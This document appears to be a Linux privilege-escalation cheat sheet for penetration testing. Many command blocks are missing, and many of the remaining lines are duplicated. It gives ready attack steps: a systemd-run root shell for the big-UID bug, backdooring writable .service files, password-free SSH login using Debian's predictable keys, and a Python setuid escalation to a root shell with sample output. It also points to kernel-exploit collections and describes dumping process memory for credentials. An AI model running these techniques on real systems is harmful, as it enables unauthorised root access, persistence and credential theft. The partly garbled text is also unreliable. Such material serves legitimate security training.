⭕Enumeration
quick commands to enumerate the target system. these are taken from different sources and combined together with a little modification.
system information
distribution type and version
kernel version
places to find kernel exploits:
https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack https://github.com/lucyoa/kernel-exploits https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits https://github.com/bwbwbwbw/linux-exploit-binaries
To extract all the vulnerable kernel versions from that web you can do:
This technique is for kernels up to 3.9.6 and is not reliable for later versions of Linux kernel.
Tools that could help searching for kernel exploits are:
https://github.com/mzet-/linux-exploit-suggester https://github.com/jondonas/linux-exploit-suggester-2 http://www.securitysift.com/download/linuxprivchecker.py
Big UID
Some Linux versions were affected by a bug that allow users with UID > INT_MAX to escalate privileges. More info: here, here and here. Exploit it using:
systemd-run -t /bin/bash
sudo_inject
this has requirements, doesn't work all the time.
clone the repository and run the script:
requirements:
for more methods related to sudo refer to sudo abuse section.
environmental variables
see environment variables section for methods
Reset Root Password
in-memory password
driver info
available shells
programming languages
check emails
printers
network connections/hosts
available file transfer methods
users and accounts
Add User One-liner
check for sudo access
users UID and GID
UID 0 accounts (root)
users readable history file
check history
user info
Possible defenses
AppArmor
Grsecurity
PaX
PaX
Execshield
network
network configurations
network status
try packet sniffing
firewall rules
hosts and DNS
ssh root login status
ssh info
tasks and processes
process binaries paths and permissions
find new running processes
check services and privileges
Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!
What applications are installed? What version are they? Are they currently running?
scheduled Tasks
see cron/crontab abuse section for methods
process monitoring
this can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met.
Process memory
Some services of a server save credentials in clear text inside the memory. Normally you will need root privileges to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials. However, remember that as a regular user you can read the memory of the processes you own. To dump a process memory you could use: https://github.com/hajzer/bash-memory-dump You can manually remove root requirements and dump process owned by you Script A.5 from https://www.delaat.net/rp/2016-2017/p97/report.pdf (root is required) ****
Process Memory Credentials
this tool will steal clear text credentials from memory and from some well known files. It requires root privileges to work properly.
/proc/$pid/maps & /proc/$pid/mem
For a given process ID, maps shows how memory is mapped within that processes' virtual address space; it also shows the permissions of each mapped region. The mem pseudo file exposes the processes memory itself. From the maps file we know which memory regions are readable and their offsets. We use this information to seek into the mem file and dump all readable regions to a file.
/dev/mem
/dev/mem provides access to the system's physical memory, not the virtual memory. The kernels virtual address space can be accessed using /dev/kmem. Typically, /dev/mem is only readable by root and kmem group.
programs and software
enumerate useful binaries
enumerate compilers
installed software/packages
service(s) settings misconfigured? Are any (vulnerable) plugins attached?
Which configuration files can be written in /etc/? Able to reconfigure a service?
Services
Writable .service files
Check if you can write any .service
file, if you can, you could modify it so it executes your backdoor when the service is started, restarted or stopped (maybe you will need to wait until the machine is rebooted). For example create your backdoor inside the .service file with ExecStart=/tmp/script.sh
Writable service binaries
Keep in mid that if you have write permissions over binaries being executed by services, you can change them for backdoors so when the services get re-executed the backdoors will be executed.
systemd PATH - Relative Paths
You can see the PATH used by systemd with:
If you find that you can write in any of the folders of the path you may be able to escalate privileges.You need to search for relative paths being used on service configurations
Then, create a executable with the same name as the relative path binary inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (Start, Stop, Reload), your backdoor will be executed (unprivileged users usually cannot start/stop services but check if you can using sudo -l
).
files and directories
find all SUID/SGID binaries
check SUID/SGID abuse section to see methods.
see /etc/shadow & /etc/passwd section to see how you can use these files with read/write permission for privilege escalation.
see shared object injection section for methods related to SUID binaries and dynamically loadable libraries.
NFS mounts
see NFS section for related methods.
find password in php files
find writable files
find SUID files
Find SUID files owned by root
Find GUID files
Find world-writable files
List all conf files in /etc/
conf files with “pass*” string
list of open files
last edited files
R/W Files and Directories
mount volumes
search for SUID set
plain text usernames/passwords
What sensitive files can be found?
ssh key info
SSH Key Predictable PRNG (Authorized_Keys) Process\
use an obtained authorized_keys file on a host system. Needed : SSH-DSS String from authorized_keys file 1. Get the authorized_keys file. An example of this file would look like so:
ssh-dss AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf ... (snipped) ...
ssh-dss AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf ... (snipped) ...
2. Since this is an ssh-dss key, we need to add that to our local copy of /etc/ssh/ssh_config and /etc/ssh/sshd_config:
echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/ssh_config
echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/ssh_config
echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/sshs_config
echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/sshs_config
/etc/init.d/ssh restart
``
/etc/init.d/ssh restart
``Get g0tmi1k's debian-ssh repository and unpack the keys:
git clone https://github.com/g0tmi1k/debian-ssh
git clone https://github.com/g0tmi1k/debian-ssh
cd debian-ssh
cd debian-ssh
tar vjxf common_keys/debian_ssh_dsa_1024_x86.tar.bz2
tar vjxf common_keys/debian_ssh_dsa_1024_x86.tar.bz2
3. Grab the first 20 or 30 bytes from the key file shown above starting with the "AAAA..." portion and grep the unpacked keys with it as:
grep -lr 'AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf'
dsa/1024/68b329da9893e34099c7d8ad5cb9c940-17934.pub
grep -lr 'AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf'
dsa/1024/68b329da9893e34099c7d8ad5cb9c940-17934.pub
5. IF SUCCESSFUL, this will return a file (68b329da9893e34099c7d8ad5cb9c940-17934.pub) public file. To use the private key file to connect, drop the '.pub' extension and do:
ssh -vvv victim@target -i 68b329da9893e34099c7d8ad5cb9c940-17934
``
ssh -vvv victim@target -i 68b329da9893e34099c7d8ad5cb9c940-17934
``And you should connect without requiring a password. If stuck, the -vvv verbosity should provide enough details as to why.
log files
Capabilities
List capabilities of binaries
/usr/bin/getcap -r /usr/bin
/usr/bin/getcap -r /usr/bin
Edit capabilities
/usr/bin/setcap -r /bin/ping # remove
/usr/bin/setcap -r /bin/ping # remove
/usr/bin/setcap cap_net_raw+p /bin/ping # add
/usr/bin/setcap cap_net_raw+p /bin/ping # add
Interesting capabilities Having the capability =ep means the binary has all the capabilities.
$ getcap openssl /usr/bin/openssl
openssl=ep
$ getcap openssl /usr/bin/openssl
openssl=ep
Alternatively the following capabilities can be used in order to upgrade your current privileges.
cap_dac_read_search # read anything
cap_setuid+ep # setuid
cap_dac_read_search # read anything
cap_setuid+ep # setuid
Example of privilege escalation with cap_setuid+ep
sudo /usr/bin/setcap cap_setuid+ep /usr/bin/python2.7
sudo /usr/bin/setcap cap_setuid+ep /usr/bin/python2.7
python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
sh-5.0# id
uid=0(root) gid=1000(swissky)
>
python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
sh-5.0# id
uid=0(root) gid=1000(swissky)
>
Last updated